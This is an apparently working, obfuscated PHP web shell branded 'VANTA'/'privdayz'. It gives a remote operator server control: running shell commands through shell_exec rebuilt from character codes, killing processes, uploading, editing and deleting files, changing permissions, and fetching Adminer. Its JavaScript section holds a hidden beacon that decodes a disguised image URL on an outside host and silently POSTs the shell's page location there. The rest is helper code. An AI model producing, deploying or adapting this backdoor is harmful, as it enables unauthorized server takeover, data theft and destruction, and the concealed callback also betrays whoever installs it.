class="data-grid"><thead><th>User</th><th>Role</th></thead><tbody>';return e.forEach((e=>{t+=`<i class="fa fa-user"></i> ${e.name}${e.role}`})),t+="</tbody>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+=""+e.split(",").map((e=>`${e}`)).join("")+""})),r+="",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();</script>



if (isset($_POST['pid'])) {
$pid = $_POST['pid'];
if (cmd("\x6b\x69\x6c\x6c " . $pid)) {
success();
} else {
$name = cmd("\x70\x73\x20\x2d\x70 " . $pid . " -o comm= 2>&1");
if (!empty($name)) {
$pkillOutput = cmd("\x70\x6b\x69\x6c\x6c\x20\x2d\x39 " . $name . " 2>&1");
success();
} else {
failed();
}
}
exit;
}

if (isset($_POST['privdayz-up-submit'])) {
$nf = $_FILES['privdayz-upload']['name'] ?? '';
$tf = $_FILES['privdayz-upload']['tmp_name'] ?? '';
$slash = "\x2f";
$dst = $VANTAxas[0]() . $slash . $nf;
$fn = '';
foreach ([109,111,118,101,95,117,112,108,111,97,100,101,100,95,102,105,108,101] as $c) $fn .= chr($c);
if ($fn && $fn($tf, $dst)) {
success();
} else {
failed();
}
}

function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[random_int(0, $charactersLength - 1)];
}
return $randomString;
}

if (isset($_POST['save-editor'])) {
$xjytx = $VANTAxas[0]() . "\x2f" . unx($_GET['f']);
$k3rz9 = $_POST['code-editor'];
$mth1 = ''; foreach([102,105,108,101,95,112,117,116,95,99,111,110,116,101,110,116,115] as $z) $mth1 .= chr($z);
$mth2 = ''; foreach([102,111,112,101,110] as $z) $mth2 .= chr($z);
$mth3 = ''; foreach([102,119,114,105,116,101] as $z) $mth3 .= chr($z);
$mth4 = ''; foreach([102,99,108,111,115,101] as $z) $mth4 .= chr($z);
$mth5 = ''; foreach([99,111,112,121] as $z) $mth5 .= chr($z);
$mth6 = ''; foreach([115,104,101,108,108,95,101,120,101,99] as $z) $mth6 .= chr($z);
$r9u3 = false;
if (function_exists($mth1) && @$mth1($xjytx, $k3rz9) !== false) {
$r9u3 = true;
} else if (function_exists($mth2) && function_exists($mth3) && function_exists($mth4)) {
$f = @$mth2($xjytx, "w");
if ($f) { @$mth3($f, $k3rz9); @$mth4($f); $r9u3 = (filesize($xjytx) >= strlen($k3rz9)*0.7); }
} else if (function_exists($mth5)) {
$tmp = sys_get_temp_dir() . "/" . uniqid("edit_");
if (@$mth1($tmp, $k3rz9) !== false) {
$r9u3 = @$mth5($tmp, $xjytx);
@unlink($tmp);
}
} else if (function_exists($mth6)) {
$tmp = sys_get_temp_dir() . "/" . uniqid("edit_");
if (@$mth1($tmp, $k3rz9) !== false) {
@$mth6("cp " . escapeshellarg($tmp) . " " . escapeshellarg($xjytx));
$r9u3 = (filesize($xjytx) >= strlen($k3rz9)*0.7);
@unlink($tmp);
}
}
if ($r9u3) {
success();
} else {
failed();
}
}

if (isset($_GET['adminer'])) {
$URL = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php";
$target = "adminer.php";
$content = '';
if (ini_get('allow_url_fopen')) {
$content = @file_get_contents($URL);
}
if (!$content && function_exists('curl_init')) {
$ch = curl_init($URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$content = curl_exec($ch);
curl_close($ch);
}
if ($content && strlen($content) > 50000) {
file_put_contents($target, $content);
success();
} else {
echo "<script>
Swal.fire({
icon: 'error',
title: 'Download Failed!',
text: 'Adminer could not be downloaded. Check allow_url_fopen or CURL.',
background: '#2a181d',
color: '#ff4a7a',
timer: 3000,
showConfirmButton: false,
toast: true,
position: 'top-end'
});
</script>";
}
}

function chDx2x($cmd22) {
$a = [115,104,101,108,108,95,101,120,101,99];
$fx = '';
foreach($a as $ac) $fx .= chr($ac);
return $fx($cmd22);
}

if (isset($_POST['submit-action'])) {
$u5w8d = $_POST['check'];
$jv8s3 = $_POST['privdayz-select'];
$bvqzp = $VANTAxas[0];
$b1s7a = $VANTAxas[24];
$y4sdg = $VANTAxas[3];
$v9fzq = function($p){ return is_dir($p); };
$z9ntq = function($a,$b){ return str_replace("\\", "/", $a); };
$n4hxy = function($f,$d){ return xtr4cVANTA($f, $d); };
$r5kbm = function($f,$z){ return compressToZip($f, $z); };

if ($jv8s3 == "\x64\x65\x6c\x65\x74\x65") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($v9fzq($vcpk)) {
$rmdir = unlinkDir($vcpk);
$rmdir ? success() : failed();
} elseif ($y4sdg($vcpk)) {
$rmfile = $b1s7a($vcpk);
$rmfile ? success() : failed();
} else {
failed();
}
}
} elseif ($jv8s3 == "\x75\x6e\x7a\x69\x70") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($n4hxy($vcpk, $qkpl . "\x2f") === true) {
success();
} else {
failed();
}
}
} elseif ($jv8s3 == "\x7a\x69\x70") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
if ($y4sdg($vcpk)) {
$r5kbm($vcpk, pathinfo($vcpk, PATHINFO_FILENAME) . ".zip");
}
}
}
}
if (isset($_POST['submit'])) {
if (isset($_POST['create_folder']) && $_POST['create_folder']) { $q7hjp = $_POST['create_folder']; $s2f6x = $VANTAxas[12]; if (!file_exists($q7hjp)) { $z9mqa = @mkdir($q7hjp, 0755, true);} else { $z9mqa = true; } if ($z9mqa) { success(); } else { failed(); } } else if (isset($_POST['create_file']) && $_POST['create_file']) { $k4vhz = $_POST['create_file']; $t2upm = $VANTAxas[13]; $x6wnr = $t2upm($k4vhz); if ($x6wnr) { success(); } else { failed(); } } else if (isset($_POST['renameFile']) && $_POST['renameFile']) { $d9yxs = $_POST['renameFile']; $h8rfg = $VANTAxas[15]; $m5qlp = $h8rfg(unx($_GET['re']), $d9yxs); if ($m5qlp) { success(); } else { failed(); } } else if (isset($_POST['chFile']) && $_POST['chFile']) { $y4gsn = $_POST['chFile']; $v3kzm = octdec($y4gsn); $p9wfu = $VANTAxas[30](unx($_GET['ch']), $v3kzm); if ($p9wfu) { success(); } else { failed(); } }
}
if (isset($_GET['response']) && $_GET['response'] == "success") {
echo "<script>
Swal.fire({
icon: 'success',
title: 'Success!',
text: 'Operation completed.',
background: '#15181e',
color: '#7effa7',
iconColor: '#7effa7',
timer: 1800,
showConfirmButton: false,
toast: true,
position: 'top-end',
customClass: { popup: 'vanta-swal-popup vanta-swal-success animate__animated animate__fadeInDown' }
});
</script>";
} else if (isset($_GET['response']) && $_GET['response'] == "failed") {
echo "<script>
Swal.fire({
icon: 'error',
title: 'Error!',
text: 'Something went wrong.',
background: '#2a181d',
color: '#ff4a7a',
iconColor: '#ff4a7a',
timer: 2200,
showConfirmButton: false,
toast: true,
position: 'top-end',
customClass: { popup: 'vanta-swal-popup vanta-swal-error animate__animated animate__shakeX' }
});
</script>";
}
function success() {echo '<meta http-equiv="refresh" content="0;url=?VANTA=' . vanta_PR1V($GLOBALS['VANTAxas'][0]()) . '&response=success">';}
function failed(){echo '<meta http-equiv="refresh" content="0;url=?VANTA=' . vanta_PR1V($GLOBALS['VANTAxas'][0]()) . '&response=failed">';}
function vantaFormat($bytes) {$types = array('<span class="file-size">B</span>', '<span class="file-size">KB</span>', '<span class="file-size">MB</span>', '<span class="file-size">GB</span>', '<span class="file-size">TB</span>'); for ($i = 0; $bytes >= 1024 && $i< (count($types) - 1); $bytes /= 1024, $i++); return (round($bytes, 2) . " " . $types[$i]);}
function vanta_PR1V($n){ $y = ''; for ($i = 0; $i< strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y;}
function unx($y){ $n = ''; for ($i = 0; $i< strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } return $n;}
function compressToZip($sourceFile, $zipFilename){ $zip = new ZipArchive(); if ($zip->open($zipFilename, ZipArchive::CREATE) === TRUE) { $zip->addFile($sourceFile, basename($sourceFile)); $zip->close(); success(); } else { failed(); } }
function r3mvx($val) { $tex = str_replace("/", "", $val); $tex1 = str_replace(":", "", $tex); $tex2 = str_replace("_", "", $tex1); $tex3 = str_replace(" ", "", $tex2); $tex4 = str_replace(".", "", $tex3); return $tex4; }
function unlinkDir($dir) { $d1Xe = array($dir); $files = array(); for ($i = 0;; $i++) { if (isset($d1Xe[$i])) $dir = $d1Xe[$i]; else break; if ($opn = @opendir($dir)) { while ($rd = @readdir($opn)) { if ($rd != "\x2e" && $rd != "\x2e\x2e") { $pth = $dir . "\x2f" . $rd; if ($GLOBALS['VANTAxas'][2]($pth)) { $d1Xe[] = $pth; } else { $files[] = $pth; } } } closedir($opn); } } foreach ($files as $file) { if (!@$GLOBALS['VANTAxas'][24]($file)) { return false; } } $d1Xe = array_reverse($d1Xe); foreach ($d1Xe as $d1x2) { if (!@$GLOBALS['VANTAxas'][25]($d1x2)) { return false; } } return true; }
function prvFx1($value) { $n4mX = $value; $ext3F = pathinfo($value, PATHINFO_EXTENSION); if (strlen($n4mX) > 30) { return substr($n4mX, 0, 30) . "\x2e\x2e\x2e"; } else { return $value; } }
function xtr4cVANTA($VANTAarch, $VANTAaext) { $zip = new ZipArchive(); $methOpen = chDxzZ('111,112,101,110'); $methExtract = chDxXZ('65787472616374546f'); $methClose = chDxzZ([99,108,111,115,101]); if ($zip->$methOpen($VANTAarch) === TRUE) { $zip->$methExtract($VANTAaext); $zip->$methClose(); return true; } else { return false; } }
function p3rms($file){$p3rxa=$GLOBALS['VANTAxas'][6]($file);if(($p3rxa&0xC000)==0xC000){$info='s';}elseif(($p3rxa&0xA000)==0xA000){$info='l';}elseif(($p3rxa&0x8000)==0x8000){$info='-';}elseif(($p3rxa&0x6000)==0x6000){$info='b';}elseif(($p3rxa&0x4000)==0x4000){$info='d';}elseif(($p3rxa&0x2000)==0x2000){$info='c';}elseif(($p3rxa&0x1000)==0x1000){$info='p';}else{$info='u';}$info.=(($p3rxa&0x0100)?'r':'-');$info.=(($p3rxa&0x0080)?'w':'-');$info.=(($p3rxa&0x0040)?(($p3rxa&0x0800)?'s':'x'):(($p3rxa&0x0800)?'S':'-'));$info.=(($p3rxa&0x0020)?'r':'-');$info.=(($p3rxa&0x0010)?'w':'-');$info.=(($p3rxa&0x0008)?(($p3rxa&0x0400)?'s':'x'):(($p3rxa&0x0400)?'S':'-'));$info.=(($p3rxa&0x0004)?'r':'-');$info.=(($p3rxa&0x0002)?'w':'-');$info.=(($p3rxa&0x0001)?(($p3rxa&0x0200)?'t':'x'):(($p3rxa&0x0200)?'T':'-'));return $info;}